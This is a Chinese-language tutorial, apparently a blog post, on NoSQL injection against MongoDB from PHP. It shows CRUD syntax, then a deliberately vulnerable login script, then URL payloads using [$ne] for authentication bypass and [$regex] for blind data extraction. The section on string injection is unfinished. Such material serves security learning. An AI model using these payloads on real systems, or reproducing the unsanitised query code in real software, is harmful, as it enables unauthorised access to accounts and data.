0x00 安裝
下載:http://dl.mongodb.org/dl/win32/x86_64
安裝:http://www.runoob.com/mongodb/mongodb-window-install.html
0x01 MongoDB語法
我們先學習下MongoDB的使用,知己知彼,方能百戰百勝,只有了解了對方,才能找尋弱點,一擊擊破
下面都是以PHP為例
數據庫操作基本是增刪改查,MongoDB的增刪改查怎么個不是SQL呢,下面我們來看一下
<?php $mongo = new mongoclient();// 連接默認主機和端口為:mongodb://localhost:27017 $db = $mongo->security; //選擇數據庫 $coll = $db->users; //選擇集合(表) $coll->save({'id':1,'name':'admin','passwd':'admin'}); //增,新增id=1,name=admin,passwd=admin的數據
$coll->insert({'id':1,'name':'admin','passwd':'admin'});//增,這個也是增
$coll->find({'id':1}); //查,查詢id=1的數據
$coll->remove({'id':1}); //減,刪除id=1的數據
$coll->update({'id':1},{'name':'superadmin'}); //改,將id=1的name改為supername
?>
大家通過上面應該可以察覺到數據傳輸是通過json承載的
說明:JSON 是一種輕量級的數據交換格式。它基於 ECMAScript 的一個子集,采用完全獨立於編程語言的文本格式來存儲和表示數據。簡潔和清晰的層次結構使得 JSON 成為理想的數據交換語言,它易於人閱讀和編寫,同時也易於機器解析和生成,並能有效地提升網絡傳輸效率。如:{\"firstName\": \"Brett\", \"lastName\": \"McLaughlin\"}
還有一種執行的方法,是直接執行字符串的
<?php
$mongo = new mongoclient();// 連接默認主機和端口為:mongodb://localhost:27017
$db = $mongo->security; //選擇數據庫(表)
$query = "db.users.save({'id':1})"; //增
$query = "db.users.insert({'id':1})"; //增
$query = "db.users.find({'id':1})"; //查
$query = "db.users.remove({'id':1})"; //減
$query = "db.users.update({'id':1},{'name','superadmin'})"; 改
$result = $db->execute($query);
?>
上面都是連接users表進行操作的。db.users.find({'id':1})這種其實是js的語句,最后通過execute($sql)執行sql操作,execute其實就是執行js語句
針對上面兩種執行方式,有不同的注入攻擊方式。
0x02 注入攻擊
針對上面兩種執行方式,分類兩種攻擊方式:操作符注入、字符串注入 ,詳細介紹下注入原理前,先補充知識
比較條件操作符
"$lt", "$lte", "$gt", "$gte", "$ne" 對應於:"<","<=",">",">=","!="
正則操作符
$regex
實際運用
db.items.find({"name" :"admin", "password" : {$ne : "1"}})
#查詢name=admin及password不等以1的數據
相當於SQL語句:select * from item where name='admin' and password != 1;
db.items.find({"name" :{'$regex':"^a"}})
#查詢正則匹配字母a開頭的數據
操作符注入
測試代碼
<?php $mongo = new mongoclient();// 連接默認主機和端口為:mongodb://localhost:27017 $db = $mongo->security; //選擇數據庫 $coll = $db->users; //選擇集合(表) $username = $_GET['username']; $password = $_GET['password']; $data = array( 'username' => $username, 'password' => $password );
echo 'data_array->'.$data.PHP_EOL; $coll->find($data); //查,查詢id=1的數據 $count = $coll->count(); if($count > 0){ foreach($data as $key => $value){ echo $key.'->'.$value.PHP_EOL; } }else{ echo 'NOT FIND.'; } ?>
傳入數據?username=test&password=test
輸出:username->test password->test
傳入的url為:
http://127.0.0.1/mongodb.php?username=test&password=test
執行了語句:
db.users.find({'username':'test','password':'test'});
如果傳入參數如下:
http://127.0.0.1/mongodb.php?username[xxx]=test&password=test
則$username就變成了個數組了,我們可以做下試驗
<?php $username = $_GET['username']; $password = $_GET['password']; $data = array( 'username' => $username, 'password' => $password ); foreach($data as $user => $value){ echo $user."->".$value.PHP_EOL; } ?>
傳入:http://127.0.0.1/mongodb.php?username[xxx]=test&password=test
輸出:username->Array password->test
可以看出$username變成數組了
數組相當於:
$data = array( 'username'=>array('xxx'=>'test'), 'password'=>'test'); --> $data={'username':{'xxx':'test'},'password':'test'}
這樣MongoDB最后執行如下語句:
db.users.find({'username':{'xxx':'test'},'password':'test'});
利用此特性我們可以注入操作符("$lt", "$lte", "$gt", "$gte", "$ne"),完成一些意料之外的操作了
eg:http://127.0.0.1/mongodb.php?username[$ne]=test&password[$ne]=test
這樣就可以查詢到出test/test的賬號密碼了
上面傳入的參數,相當於執行的MongoDB語句:
db.users.find({'username':{'$ne':'test'},'password':{'$ne':'test'}});
相當於sql語句:
select * from users where usrname != 'test' and password != 'test';
上面的例子是有回顯的,那如果沒有回顯呢,我們傳統SQL注入的這種情況就是盲注了,NoSql是否也有呢?有的。
利用上面介紹的正則操作符$regex
eg:http://127.0.0.1/mongodb.php?username[$regex]=^a&password[$regex]=^b
上面傳入的參數,相當於執行的MongoDB語句:
db.users.find({'username':{'$regex':'^a'},'password':{'$regex':'^b'}});
意思是查詢username以字符a開頭及password以字符b開頭的數據。^o^
字符串注入
這個就是利用execute方法執行js寫的查詢
【未完待續】